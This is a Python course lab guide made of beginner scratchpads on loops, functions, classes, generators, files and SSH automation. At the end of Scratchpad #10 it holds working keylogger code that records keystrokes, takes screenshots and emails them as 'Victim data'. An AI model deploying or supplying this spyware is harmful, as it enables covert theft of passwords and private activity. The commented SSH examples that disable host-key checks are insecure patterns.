Lab guidePython

Python Sunday 18-12-2022

Last updated 6 December 2023

Python Sunday 18-12-2022

Scratchpad #1

# # # some explanation
# # # ignored
# # print("Hello World")
# # print(100 + 5)  # Some comment


# high_score = 10  # snake casing
# player_1_high_score = 20

# highScore = 10  # camel case
# HighScore = 10  # Pascal case

# # high-score = 10 # kebab case

# DAYS_IN_A_WEEK = 7
# GST_RATE = 18

# __high_score__ = 10

# score = 10

# score: int = 10
# score = True
# print(score)

Scratchpad #2

# # name = "John Doe"

# # # name.lower().find("john")

# # name.find("Doe").upper()

# # print("Please enter an amount in US dollars")
# # usd = float(input("Please enter an amount in US dollars: "))

# # inr = usd * 80

# # print(f"${usd} is Rs. {inr}")

# # name = input("Please enter your name: ")

# # if name == "john":
# #     print("Hello John")
# #     print("Hello World")
# # elif name == "jane":
# #     print("Hello Jane")
# # elif name == "jack":
# #     print("Hello jack")
# # else:
# #     print("I don't know this name")

# # age = int(input("Please enter your age: "))

# # if age >= 18 and age < 21:
# #     print("You can enter, but you cannot drink")
# # elif age >= 21 and age < 65:
# #     print("You can enter and you can drink")
# # elif age >= 65:
# #     print("Drinks are free")
# # else:
# #     print("You aren't allowed")

# # logged_in_user = None

# # if logged_in_user:
# #     print("Welcome")
# # else:
# #     print("Please login to view content")

# # age = input("Please enter your age: ")

# # if age:
# #     age = int(age)
# #     if age >= 18 and age < 21:
# #         print("You can enter, but you cannot drink")
# #     elif age >= 21 and age < 65:
# #         print("You can enter and you can drink")
# #     elif age >= 65:
# #         print("Drinks are free")
# #     else:
# #         print("You aren't allowed")
# # else:
# #     print("Please type something")

player1 = input("Enter player 1's choice: ")
player2 = input("Enter player 2's choice: ")

if ((player1 == "rock" and player2 == "scissors")
        or (player1 == "paper" and player2 == "rock")
        or (player1 == "scissors" and player2 == "paper")):
    print("Player 1 wins")
elif ((player2 == "rock" and player1 == "scissors")
      or (player2 == "paper" and player1 == "rock")
      or (player2 == "scissors" and player1 == "paper")):
    print("Player 2 wins")
elif player1 == player2:
    print("Tie")
else:
    print("Something went wrong")

# for char in "hello world":
#     print(char)

# for num in range(1, 999):
#     print(num)

# for num in range(1, 10):
#     print(num)

# for num in range(0, 11, 5):
#     print(num)

# for num in range(10, 0, -2):
#     print(num)

# for num in range(1, 21):
#     if num == 5 or num == 16:
#         print("FizzBuzz")
#     elif num % 2 == 0:
#         print(f"{num} - Fizz is Even")
#     elif num % 2 != 0:
#         print(f"{num} - Fizz is Odd")

# password = input("Please enter your password: ")

# while password != "hello":
#     print("Incorrect password. Please try again.")
#     password = input("Please enter your password: ")

# name = "John Doe"

# for char in name:
#     print(char)

# count = 0

# while count < len(name):
#     print(name[count])
#     count += 1

password = input("Please enter your password: ")

while True:
    if password == "hello":
        break
    print("Incorrect password. Please try again.")
    password = input("Please enter your password: ")

Scratchpad #3

# nums = [1, 2, 3, 4]

# doubles = [num * 2 for num in nums]  # [2, 4, 6, 8]

# # doubles = []

# # for num in nums:
# #     doubles.append(num * 2)

# print(doubles)

# nums = [1, 2, 3, 4]

# # evens = [num for num in nums if num % 2 == 0]

# nums2 = [num * 2 if num % 2 == 0 else num / 2 for num in nums]
# print(nums2)

# l = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]

# for item in l:
#     for num in item:
#         print(num)

# l = [[[1, 2, 3], [1, 2, 3, 4], [123, 2, 3], [123, 2, 3], [123, 2, 3]],
#      [[1, 2, 3], [1, 2, 3], [1, 2, 3]], [[1, 2, 3], [1, 2, 3], [1, 2, 3]]]

# total
# even total
# negative list

# while loop

product = {
    "price": 100000,
    "brand": "Apple",
    "in_stock": 500,
    "description": "Some desc...",
    "name": "iPhone",
}

# product = [0: "iPhone", 1: 100000, 2: "Apple", 3: 500, 4: "Some desc..."]
product = {
    "description": "Some desc...",
    "name": "iPhone",
    "in_stock": 500,
    "price": [
        100000,
        20000,
    ],
    "brand": "Apple",
}

print(product["in_stock"])

# https://labs.rstforum.net/registration

Scratchpad #4

# # book = {
# #     "name": "The theory of everything",
# #     "author": "Stephen Hawking",
# #     "pages": 140,
# #     "language": "English",
# #     "in_stock": True,
# # }

# # print(book["language"])

# # a = ["hello", "world", "universe", "galaxy"]

# # for num in a:
# #     print(num)

# book = {
#     "name": "The theory of everything",
#     "author": "Stephen Hawking",
#     "pages": 140,
#     "language": "English",
#     "in_stock": True,
# }

# # for item in book.values():
# #     print(item)

# # for key in book.keys():
# #     print(key, book[key])

# # for item in book.items():
# #     print(item[0], item[1])

# for key, value in book.items():
#     print(key, value)

# {num: num**3 for num in [1, 2, 3, 4, 5]}
# # {1: 1, 2: 8, 3: 27, 4: 64, 5: 125}

# str1 = "ABC"
# str2 = "123"
# combined = {str1[i]: str2[i] for i in range(0, len(str1))}
# # {'A': '1', 'B': '2', 'C': '3'}

# def say_hello():
#     print("Hello")
#     print("Hello")
#     print("Hello")
#     print("Hello")

# say_hello()

import random


def flip_coin():
    result = random.random()
    if result > 0.5:
        return "Heads"
    else:
        return "Tails"


flip_coin()

# result = type([1, 2, 3])
# print(result)

# first_name = "John"
# print(first_name.upper())

Scratchpad #5

# # def greet():
# #     return "Hello World"

# # result = greet()
# # print(result)

# # def add(a, b):
# #     return a + b

# # print(add(10, 5, 213))

# # def profile(first_name, last_name, age):
# #     print(first_name)

# # profile()

# # def sum_odd_numbers(numbers):
# #     total = 0
# #     for num in numbers:
# #         if num % 2 != 0:
# #             total += num
# #     return total

# # print(sum_odd_numbers([1, 2, 3, 4, 5]))

# # def is_odd_number(number):
# #     if number % 2 != 0:
# #         return True
# #     return False

# # print(is_odd_number(3))

# # def multiply(a=1, b=1):
# #     return a * b

# # print(multiply(10, 2))

# # def add(a, b):
# #     return a + b

# # hello = add

# # print(hello(10, 5))

# # hello = add

# # print(add(10, 5))

# # def add(a, b):
# #     return a + b

# # def sub(a, b):
# #     return a - b

# # def math(a=1, b=1, fn=add):
# #     return fn(a, b)

# # print(math(10, 5, sub))

# # def add(a=1, b=1):
# #     return a + b

# # add(10)

# # def full_name(first_name="test", last_name="name"):
# #     print(f"My name is {first_name} {last_name}")

# # # full_name("Doe", "John")
# # full_name(last_name="Doe", first_name="John")

# # full_name = "john doe"

# # def greet():
# #     full_name = "Jane smith"
# #     print(full_name)

# # greet()
# # print(full_name)

# total = 0
# print("Current", total)

# def func():
#     global total
#     total += 10
#     print(total)

# func()
# print("Final", total)

# def outer():
#     count = 0

#     def inner():
#         nonlocal count
#         count += 10
#         print(count)

#     inner()

# outer()

# total = 0

# def func():
#     global total
#     total += 10

# func()
# print(total)

# def func2(val):
#     return val + 10

# total = func2(total)

# print(total)

# def add(a, b):
#     """Adds two numbers and returns the result"""
#     return a + b

# print(add(10, 5))
# print(add.__doc__)

# print([].extend.__doc__)

# reverse_str("hello") # olleh
# capitalize_str("hello my name is john") # Hello My Name Is John
# count("hello i am john") # 12
# find_negatives(111,2,3,-23,-6,12,4,-113) # [-23,-6,-113] (*nums)
# make_positives(111,2,3,-23,-6,12,4,-113) # [111,2,3,23,6,12,4,113]

# def add(first, *nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# print(add(
#     10,
#     5,
#     12,
#     34,
#     12,
#     4,
#     56,
# ))

# def profile(nick_name, **values):
#     print(nick_name, values)

# profile(nick_name="J",
#         first_name="John",
#         last_name="Doe",
#         age=20,
#         profession="developer")

# def show_info(a, b, *args, role="moderator", **kwargs):
#     return [a, b, args, role, kwargs]

# print(
#     show_info(10,
#               15,
#               20,
#               21,
#               22,
#               23,
#               role="admin",
#               first_name="john",
#               last_name="doe"))

# def add(*nums):
#     total = 0
#     for num in nums:
#         total += num
#     return total

# values = [12, 234, 45, 3, 2, 33, 56, 2, 323]
# print(add(*values))

# def say_name(first, last):
#     print(f"My name is {first} {last}.")

# # say_name(first="jane", last="doe")

# name = {"first": "Robert", "last": "Moore"}
# say_name(**name)

# def add(a, b):
#     return a + b

# add2 = lambda a, b: a + b

# print(add2(10, 5))

# def add(a, b):
#     return a + b

# def sub(a, b):
#     return a - b

# def mul(a, b):
#     return a * b


def math(a, b, fn):
    return fn(a, b)


# print(math(10, 5, mul))

print(math(10, 5, lambda a, b: a / b))

Scratchpad #6

# # # nums = [1, 2, 3, 4, 5, 6, 7, 8]

# # # doubles = [num * 2 for num in nums]

# # # def doubleNum(x):
# # #     return x * 2

# # # doubles = map(doubleNum, nums)
# # # doubles = map(lambda x: x * 2, nums)

# # # print(list(doubles))

# # # nums = [1, 2, 3, 4, 5, 6, 7, 8]

# # # # evens = [num for num in nums if num % 2 == 0]
# # # evens = filter(lambda num: num % 2 == 0, nums)

# # # print(list(evens))

# # names = ['John', 'Jack', 'James', 'Desmond', 'Charlie', 'Jacob']

# # # results = filter(lambda name: len(name) < 5, names)

# # # modified = map(lambda name: f"The one who wins is {name}", results)
# # # # print(list(modified))

# # print(
# #     list(
# #         map(lambda name: f"The one who wins is {name}",
# #             filter(lambda name: len(name) < 5, names))))

# # -------------------------------------------------------------

# import random

# SUIT_TUPLE = ("Spades", "Hearts", "Clubs", "Diamonds")
# RANK_TUPLE = ("Ace", "2", "3", "4", "5", "6", "7", "8", "9", "10", "Jack",
#               "Queen", "King")
# NCARD = 8

# def get_card(deck_list_in):
#     this_card = deck_list_in.pop()
#     return this_card

# def shuffle(deck_list_in):
#     deck_list_out = deck_list_in.copy()
#     random.shuffle(deck_list_out)
#     return deck_list_out

# print("Welcome to higher or lower.")
# print(
#     "You have to choose whether the next card to be shown will be higher or lower than the current card"
# )
# print(
#     "Getting it right add 20 points; get it wrong and you will lose 15 points."
# )
# print("You have 50 points to start.")
# print()

# starting_deck_list = []
# for suit in SUIT_TUPLE:
#     for this_value, rank in enumerate(RANK_TUPLE):
#         card_dict = {"rank": rank, "suit": suit, "value": this_value + 1}
#         starting_deck_list.append(card_dict)

# score = 50

# while True:
#     print()
#     game_deck_list = shuffle(starting_deck_list)
#     current_card_dict = get_card(game_deck_list)
#     current_card_rank = current_card_dict["rank"]
#     current_card_value = current_card_dict["value"]
#     current_card_suit = current_card_dict["suit"]
#     print(f"Starting card is {current_card_rank} of {current_card_suit}")
#     print()

#     for card_number in range(0, NCARD):
#         answer = input(
#             f"Will the next card be higher or lower than the {current_card_rank} of {current_card_suit}? (enter h or l): "
#         )
#         answer = answer.casefold()
#         next_card_dict = get_card(game_deck_list)
#         next_card_rank = next_card_dict["rank"]
#         next_card_value = next_card_dict["value"]
#         next_card_suit = next_card_dict["suit"]
#         print(f"Next card is {next_card_rank} of {next_card_suit}")

#         if answer == 'h':
#             if next_card_value > current_card_value:
#                 print("You got it right, it was higher")
#                 score += 20
#             else:
#                 print("Sorry, it was not higher")
#                 score -= 15
#         elif answer == 'l':
#             if next_card_value < current_card_value:
#                 print("You got it right, it was lower")
#                 score += 20
#             else:
#                 print("Sorry, it was not lower")
#                 score -= 15

#         print(f"Your score is: {score}")
#         print()
#         current_card_rank = next_card_rank
#         current_card_value = next_card_value
#         current_card_suit = next_card_suit

#     go_again = input("To play again, press ENTER, or 'q' to quit: ")
#     if go_again == 'q':
#         break

# print("Thanks for playing. Good bye. ")


def printText(text, color):
    colors = ('red', 'yellow', 'green', 'blue', 'white')

    if type(text) is not str:
        raise TypeError('text should be a str')
    elif type(color) is not str:
        raise TypeError('color should a str')
    elif color not in colors:
        raise ValueError("This color is not supported")

    print(text)


try:
    printText('hello world', 'lkasdmd')
except (
        ValueError,
        TypeError,
) as err:
    print("Something went wrong", err)

try:
    printText('hello world', 'lkasdmd')
except Exception as err:
    print("Something went wrong", err)

Scratchpad #7

def create_user(first_name, last_name, age, email, password, phone_no):
    return {
        "first_name": first_name,
        "last_name": last_name,
        "age": age,
        "email": email,
        "password": password,
        "phone_no": phone_no
    }


def user_login(user, email, password):
    if email == user["email"] and password == user["password"]:
        return True
    else:
        raise ValueError("Incorrect username or password")


def user_logout(user):
    print(f"{user['email']} has logged out successfully")
    return True


def edit_user_email(user, new_email):
    return {**user, "email": new_email}


# john = create_user("John", "Doe", 20, "johndoe@gmail.com", "test123",
#                    "+91 9876654321")

# # print(user_login(john, "johndoe@gmail.com", "test123"))
# # user_logout(john)

# print(john)
# john = edit_user_email(john, "john.doe@outlook.com")
# print(john)


def user(first_name, last_name, age, email, password, phone_no):
    user = {
        "first_name": first_name,
        "last_name": last_name,
        "age": age,
        "email": email,
        "password": password,
        "phone_no": phone_no
    }

    def login(password):
        if password == user["password"]:
            return True
        else:
            raise ValueError("Incorrect username or password")

    def logout():
        print(f"{user['email']} has logged out successfully")
        return True

    return {**user, "login": login, "logout": logout}


john = user("John", "Doe", 20, "john@gmail.com", "test123", "+91 9876654321")
jane = user("Jane", "Smith", 23, "jane@gmail.com", "test123", "+91 9765543219")

# print(john)
# print(jane["age"])
# # print(john["last_name"])
# print(john["login"]("test123"))
# # print(john)


class User:

    def __init__(self, first_name, last_name, age, email, password, phone_no):
        self.first_name = first_name
        self.last_name = last_name
        self.age = age
        self.email = email
        self.password = password
        self.phone_no = phone_no
        self._balance = 0

    def get_balance(self):
        print(f"Your current balance is {self._balance}")
        return self._balance

    def deposit(self, amount):
        self._balance = self._balance + amount
        print(
            f"Rs. {amount} was added to your account. New balance: {self._balance}"
        )


john1 = User("John", "Doe", 20, "john@gmail.com", "test123", "+91 9876654321")
jane1 = User("Jane", "Smith", 23, "jane@gmail.com", "test123",
             "+91 9765543219")

# print(john["age"])
# print()
# print(john1._balance)

# john1._balance = 1000
# john1.email = "helloworld@gmail.com"
# print(john1._balance)
# print(john1.email)

# print(type(john))
# print(type(john1))

john1.deposit(10000)
john1.get_balance()

Scratchpad #8

# # # # class User:  # base/parent class
# # # #     total_users = 0

# # # #     def __init__(self, first_name, last_name, age):
# # # #         self.first_name = first_name
# # # #         self.last_name = last_name
# # # #         self._age = age
# # # #         User.total_users += 1

# # # #     def __repr__(self):
# # # #         return f"First name: {self.first_name}\nLast Name: {self.last_name}"

# # # #     @classmethod
# # # #     def get_total_users(cls):
# # # #         return cls.total_users

# # # #     @property
# # # #     def age(self):
# # # #         print("Some logic")
# # # #         return self._age

# # # #     @age.setter
# # # #     def age(self, new_age):
# # # #         if type(new_age) != int:
# # # #             raise TypeError("Age has to be a number")

# # # #         if new_age < 18 or new_age > 100:
# # # #             raise ValueError('Please enter a valid age')

# # # #         self._age = new_age
# # # #         return self._age

# # # #     def get_age(self):
# # # #         print("Some logic")
# # # #         return self._age

# # # #     def set_age(self, new_age):
# # # #         if type(new_age) != int:
# # # #             raise TypeError("Age has to be a number")

# # # #         if new_age < 18 or new_age > 100:
# # # #             raise ValueError('Please enter a valid age')

# # # #         self._age = new_age
# # # #         return self._age

# # # # # user1 = User("Jane", "Doe", 20)
# # # # # user1.age = 67
# # # # # print(user1.age)

# # # # # # user2 = User("John", "Smith", 25)

# # # # # # print(user1)
# # # # # # print(user2)
# # # # # # user1._age = 305
# # # # # # user1.set_age(45)
# # # # # # print(user1.get_age())
# # # # # # print(user1.total_users)
# # # # # # print(user2.total_users)
# # # # # # print(User.total_users)
# # # # # # user3 = User("Jack", "Smith", 34)
# # # # # # # print(User.total_users)
# # # # # # print(User.get_total_users())

# # # # class Admin(User):  # sub/child class

# # # #     def __init__(self, first_name, last_name, age, phone, email):
# # # #         super().__init__(first_name, last_name, age)
# # # #         self.phone = phone
# # # #         self.email = email

# # # #     def __repr__(self):
# # # #         return self.first_name

# # # #     def create_group(self, group_name):
# # # #         print(f"{group_name} was created")

# # # # user1 = User("Jane", "Doe", 20)
# # # # user2 = Admin("John", "Smith", 25, 123456, "admin@example.com")

# # # # print(user2.email)

# # # # # # print(user1.create_group("Python"))
# # # # # # print(user2.create_group("Python"))

# # # # class Human:

# # # #     def __init__(self, name, age):
# # # #         self.name = name
# # # #         self.age = age

# # # #     def greet(self):
# # # #         print("Hello World")

# # # # class Animal:

# # # #     def __init__(self, name, age):
# # # #         self.name = name
# # # #         self.age = age

# # # #     def greet(self):
# # # #         print("asdasdasdasdasdfsdf")

# # # # class Mutant(Human, Animal):
# # # #     pass

# # # # u1 = Human("John", 20)
# # # # u2 = Animal("Tom", 5)
# # # # u3 = Mutant("Jack", 30)

# # # # # u1.greet()
# # # # # u2.greet()
# # # # u3.greet()

# # # class User:  # base/parent class
# # #     total_users = 0

# # #     def __init__(self, first_name, last_name, age):
# # #         self.first_name = first_name
# # #         self.last_name = last_name
# # #         self._age = age
# # #         User.total_users += 1

# # #     # def __repr__(self):
# # #     #     return f"First name: {self.first_name}\nLast Name: {self.last_name}"

# # #     def __len__(self):
# # #         return self._age

# # #     def __add__(self, user):
# # #         return User("new", "user", 0)

# # #     @classmethod
# # #     def get_total_users(cls):
# # #         return cls.total_users

# # #     @property
# # #     def age(self):
# # #         print("Some logic")
# # #         return self._age

# # #     @age.setter
# # #     def age(self, new_age):
# # #         if type(new_age) != int:
# # #             raise TypeError("Age has to be a number")

# # #         if new_age < 18 or new_age > 100:
# # #             raise ValueError('Please enter a valid age')

# # #         self._age = new_age
# # #         return self._age

# # #     def create_group(self, group_name):
# # #         print(f"{group_name} was created")

# # # class Admin(User):  # sub/child class

# # #     def __init__(self, first_name, last_name, age, phone, email):
# # #         super().__init__(first_name, last_name, age)
# # #         self.phone = phone
# # #         self.email = email

# # #     def __repr__(self):
# # #         return self.first_name

# # #     def create_group(self, group_name):
# # #         print(f"{group_name}")

# # # # print("hello" + "world")

# # # user1 = User("Jane", "Doe", 20)
# # # user2 = Admin("John", "Smith", 25, 123456, "admin@example.com")

# # # # user1.create_group("hello world")
# # # # user2.create_group("hello world")

# # # print(user1 + user2)

# # # a = [1, 2, 3, 4, 5]

# # # for num = next(ia) in ia = iter(a):
# # #     try:
# # #         print(num)
# # #     except StopIteration:
# # #         break

# # # def myfor(iterable):
# # #     iterator = iter(iterable)

# # #     while True:
# # #         try:
# # #             print(next(iterator))
# # #         except StopIteration:
# # #             break

# # # myfor([1, 2, 3, 43, 45])

# # # vals = map(lambda num: print(num), range(10))
# # # print(list(vals))

# # def myfor(func, iterable):
# #     iterator = iter(iterable)

# #     while True:
# #         try:
# #             func(next(iterator))
# #         except StopIteration:
# #             break

# # myfor(lambda num: print(num), range(10))

# # class Counter:

# #     def __init__(self, start, end, step=1):
# #         self.start = start
# #         self.end = end
# #         self.step = step

# #     def __iter__(self):
# #         return self

# #     def __next__(self):
# #         if self.start < self.end:
# #             num = self.start
# #             self.start += self.step
# #             return num
# #         else:
# #             raise StopIteration

# # r = range(0, 100)
# # c = Counter(0, 100, 10)

# # # for num in r:
# # #     print(num)

# # # for num = next(c) in c = iter(c):
# # #     print(num)

# # for num in c:
# #     print(num)

# def count_up_to(start, end, step=1):
#     count = start
#     while count <= end:
#         yield count
#         count += step

# result = count_up_to(10, 50)
# print(next(result))
# print(next(result))
# print(next(result))
# print(next(result))
# print(next(result))

# # for num in result:
# #     print(num)


def fib_list(max):
    nums = []
    a, b = 0, 1
    while len(nums) < max:
        nums.append(b)
        a, b = b, a + b
    return nums


def fib_gen(max):
    a, b = 0, 1
    count = 0
    while count < max:
        a, b = b, a + b
        yield a
        count += 1


for num in fib_gen(10000000000000000):
    print(num)

# print(fib_list(10000000000000000))
# print(fib_gen(10000000000000000))

Scratchpad #9

# # def math(a, b, fn):
# #     return fn(a, b)

# # print(math(10, 5, lambda a, b: a + b))

# # def sum(n, func):
# #     total = 0
# #     for num in range(1, n + 1):
# #         total += func(num)
# #     return total

# # print(sum(10, lambda n: n**2))

# import random

# # def greet(person):

# #     def get_mood():
# #         mood = ["Hey", "What!", "What the heck do you want!", "Get lost!"]
# #         msg = random.choice(mood)
# #         return msg

# #     result = f"{get_mood()} {person}"
# #     return result

# # print(greet("John"))

# # def make_greet_func(person):

# #     def make_message():
# #         msg = random.choice(
# #             ["Hello", "What!", "What the heck do you want!", "Get lost!"])
# #         return f"{msg} {person}"

# #     return make_message

# # hello = make_greet_func("John")
# # hello_jane = make_greet_func("Jane")

# # print(hello_jane())

# # def stars(fn):

# #     def wrapper():
# #         print("*" * 10)
# #         fn()
# #         print("*" * 10)

# #     return wrapper

# # @stars  # say_hello = stars(say_hello)
# # def say_hello():
# #     print("Hello World")

# # # say_hello = stars(say_hello)

# # say_hello()

# # from functools import wraps

# # def make_upper_case(fn):
# #     """Decorator function that uppercases the target functions's return string"""

# #     @wraps(fn) # wrapper = wraps(wrapper)
# #     def wrapper(*args, **kwargs):
# #         """Wrapper function"""
# #         return fn(*args, **kwargs).upper()

# #     return wrapper

# # @make_upper_case  # say_hello = wrapper
# # def say_hello(person):
# #     """Function that accepts a person's name and greets them"""
# #     return f"Hello {person}"

# # # print(say_hello("John"))
# # print(say_hello.__name__)
# # print(say_hello.__doc__)

# # def ensure_first_arg_is(val):

# #     def inner(fn):

# #         def wrapper(*args, **kwargs):
# #             if args and args[0] != val:
# #                 raise ValueError(f"First arg needs to be {val}")
# #             else:
# #                 return fn(*args, **kwargs)

# #         return wrapper

# #     return inner

# # # top_users = ensure_first_arg_is('jane')(top_users)
# # @ensure_first_arg_is('jane')
# # def top_users(*names):
# #     print(names)

# # top_users("jane", "jack", "john", "james")

# def enforce(*types):

#     def inner(fn):

#         def wrapper(*args, **kwargs):
#             new_args = []  # ["1000", 10]
#             for a, t in zip(args, types):  # [(1000, str), ("10", int)]
#                 try:
#                     new_args.append(t(a))
#                 except:
#                     print("Something went wrong")
#                     return "Something went wrong"
#             return fn(*new_args)

#         return wrapper

#     return inner

# @enforce(str, int)
# def announce(msg, times):
#     print((msg + "\n") * times)

# announce("hello world", 20)
# announce(1000, "10")

# str_reverse("hello") # "olleh"

# def str_reverse(val):
#     return

# Bank
# attributes: name, intials, address, phone: [strings], IFSC, branch, MICR, customers [Customer Objects]
# methods: update_name(), update....,
# add_customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance) -> Customer
#       customer = Customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance)
#       self.customers.append(customer)
#       return customer
# remove_customer(acc_no)

# Customer
# attributes: first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance=0, account_no
# methods: update_details(), deposit(1000), withdraw(100)

# sbi = Bank("State bank of India", "SBI", "...", ["...", "..."], "12312", "Dadar", "1234234")
# sbi.add_customer(first_name, middle_name, last_name, address, phone, aadhar_no, pan_no, balance)
# john = Customer()  XXXXXXXXXXXXXX

# import random

# def gen_account_no(length=10):
#     alpha_num = "ABCEFGHIJKLMNOPQRSTUVWXYZ1234567890"
#     acc_no = ""
#     for num in range(length):
#         acc_no += random.choice(alpha_num)
#     return acc_no

# print(gen_account_no())

# class Bank:

#     def __init__(self, name, intials, address, phone, IFSC, branch, MICR):
#         self.name = name
#         # ...
#         self.customers = []

#     def add_customer(self, first_name, middle_name, last_name, address, phone,
#                      aadhar_no, pan_no, account_no):
#         print("I REACHED HERE 1")
#         acc_no = gen_account_no(9)
#         new_customer = Customer(first_name, middle_name, last_name, address,
#                                 phone, aadhar_no, pan_no, acc_no)
#         self.customers.append(new_customer)
#         return new_customer

# sbi
# john = sbi.add_customer()

# john.deposit(10000)

from csv import reader

# file = open("hello.csv")
# csv_reader = reader(file)
# print(list(csv_reader))


def reader(file):
    data = file.read()
    data = [row.split(',') for row in data.split("\n")]
    print(data)


f = open("hello.csv")
reader(f)

# ================================
# ====   =========================

Scratchpad #10

# # # from csv import reader, DictReader, writer, DictWriter

# # # with open("hello.csv") as file:
# # #     csv_reader = reader(file)
# # #     print(list(csv_reader))

# # # with open("hello.csv") as file:
# # #     csv_reader = DictReader(file)
# # #     print(list(csv_reader))

# # # with open("pokemon.csv", "w", newline="") as file:
# # #     csv_writer = writer(file)
# # #     csv_writer.writerow(["Name", "Ability", "Points"])
# # #     csv_writer.writerow(["Pikachu", "Shock", "10"])
# # #     csv_writer.writerow(["Raichu", "Shock", "20"])

# # # with open("pokemon.csv", "w", newline="") as file:
# # #     headers = ["Name", "Ability", "Points"]
# # #     csv_writer = DictWriter(file, fieldnames=headers)
# # #     csv_writer.writeheader()
# # #     csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20})
# # #     csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20})
# # #     csv_writer.writerow({"Name": "Pikachu", "Ability": "Shock", "Points": 20})

# # # import pickle
# # # import json
# # # import jsonpickle

# # # class User:

# # #     def __init__(self, first_name, last_name, age):
# # #         self.first_name = first_name
# # #         self.last_name = last_name
# # #         self.age = age

# # #     def greet(self):
# # #         print(
# # #             f"Hello my name is {self.first_name} {self.last_name} and I am {self.age} years old."
# # #         )

# # #     def __repr__(self):
# # #         return self.first_name

# # # user1 = User("Jane", "Doe", 20)
# # # user1.greet()

# # # with open("users.pickle", "wb") as file:
# # #     pickle.dump(user1, file)

# # # with open("users.pickle", "rb") as file:
# # #     data = pickle.load(file)
# # #     data.greet()

# # # user1 = User("Jane", "Doe", 20)
# # # user2 = User("John", "Smith", 30)

# # # # print(json.dumps(user1.__dict__))

# # # with open("users.json", "w") as file:
# # #     stored = jsonpickle.encode((user1, user2))
# # #     file.write(stored)

# # # with open("users.json") as file:
# # #     contents = file.read()
# # #     restored_data = jsonpickle.decode(contents)
# # #     print(restored_data)

# # import re

# # # pattern = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")

# # # # result = pattern.search("Call us today at 022 23456789 or 022 2345 9876")
# # # # print(result.group())

# # # result = pattern.findall("Call us today at 022 23456789 or 022 2345 9876")
# # # print(result)

# # def is_valid_phone(phone):
# #     # phone_regex = re.compile(r"^\d{3}\s?\d{4}\s?\d{4}$")
# #     phone_regex = re.compile(r"\d{3}\s?\d{4}\s?\d{4}")
# #     match = phone_regex.fullmatch(phone)
# #     if match:
# #         return True
# #     return False

# # print(is_valid_phone("02223456789"))

# # #

# from datetime import datetime
# import threading
# import multiprocessing

# def dummy_func(x):
#     print(f"Job-{x} started: {datetime.now()}")
#     a = []
#     for i in range(30000):
#         for j in range(2000):
#             a.append([i, j])
#             a.clear()
#     print(f"Job-{x} ended: {datetime.now()}")

# # start_time = datetime.now()
# # dummy_func(1)
# # dummy_func(2)
# # dummy_func(3)
# # dummy_func(4)
# # print(f"Total time taken: {datetime.now() - start_time}")

# if __name__ == "__main__":
#     # t1 = threading.Thread(target=dummy_func, args=(1, ))
#     # t2 = threading.Thread(target=dummy_func, args=(2, ))
#     # t3 = threading.Thread(target=dummy_func, args=(3, ))
#     # t4 = threading.Thread(target=dummy_func, args=(4, ))

#     # start_time = datetime.now()
#     # t1.start()
#     # t2.start()
#     # t3.start()
#     # t4.start()
#     # t1.join()
#     # t2.join()
#     # t3.join()
#     # t4.join()
#     # print(f"Total time taken: {datetime.now() - start_time}")

#     p1 = multiprocessing.Process(target=dummy_func, args=(1, ))
#     p2 = multiprocessing.Process(target=dummy_func, args=(2, ))
#     p3 = multiprocessing.Process(target=dummy_func, args=(3, ))
#     p4 = multiprocessing.Process(target=dummy_func, args=(4, ))

#     start_time = datetime.now()
#     p1.start()
#     p2.start()
#     p3.start()
#     p4.start()
#     p1.join()
#     p2.join()
#     p3.join()
#     p4.join()
#     print(f"Total time taken: {datetime.now() - start_time}")

import pyautogui
from pynput.keyboard import Key, Listener
from time import sleep
from datetime import datetime
import yagmail

count = 0
keys = []

try:

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(" ")
                elif k.find("cap_lock") > 0:
                    f.write("<CAP_LOCK>")
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("Key") == -1:
                    f.write(k)

    def on_release(key):
        if key == Key.esc:
            return False

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("screenshot.png")

    def send_email():
        receiver_email = ""
        subject = f"Victim data - {datetime.now().strftime('%d-%m-%Y %H:%M:%S')}"
        yag = yagmail.SMTP("", "")
        contents = [
            "<b><font color='red' size='10'>YOUR VICTIM DATA</font></b>"
        ]
        attachments = ["log.txt", "screenshot.png"]
        yag.send(receiver_email, subject, contents, attachments)
        print("Email sent")

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            sleep(20)
            take_screenshot()
            send_email()
        listener.join()
except KeyboardInterrupt:
    print("Program closed")

Scratchpad #11

# import paramiko

# HOST = ''
# USER = ''
# PASSWORD = ''

# ssh = paramiko.SSHClient()

# ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())

# ssh.connect(HOST, username=USER, password=PASSWORD)

# stdin, stdout, stderr = ssh.exec_command("sudo apt-get update")
# print(stdout.read().decode())

# stdin, stdout, stderr = ssh.exec_command("sudo apt-get install -y apache2")
# print(stdout.read().decode())

# html = "<html><body><h1>Hello World from Python!</h1></body></html>"
# stdin, stdout, stderr = ssh.exec_command(
#     f"echo '{html}' | sudo tee /var/www/html/index.html")
# print(stdout.read().decode())

# stdin, stdout, stderr = ssh.exec_command("sudo service apache2 start")
# print(stdout.read().decode())

# ssh.close()

# -------------------------------------------------------------------------

# from ncclient import manager

# HOST = ''
# USER = ''
# PASSWORD = ''

# with manager.connect(host=HOST,
#                      username=USER,
#                      password=PASSWORD,
#                      hostkey_verify=False) as m:
#     commands = [
#         'set interfaces ge-0/0/0 unit 0 family inet address 192.0.2.1/24',
#         'set routing-options static route 0.0.0.0/0 next-hop 192.0.2.254'
#     ]

#     for command in commands:
#         m.edit_config(target="candidate", config=command)

#     m.commit()

# print("Successfully sent configuirations to the router.")

# -------------------------------------------------------------------------

# import os
# import time
# import pyautogui

# filename = "example.txt"
# content = "This is some dummy text. Hello World!"

# pyautogui.press('winleft')
# pyautogui.write('notepad')
# pyautogui.press('enter')
# time.sleep(1)

# pyautogui.write(content)

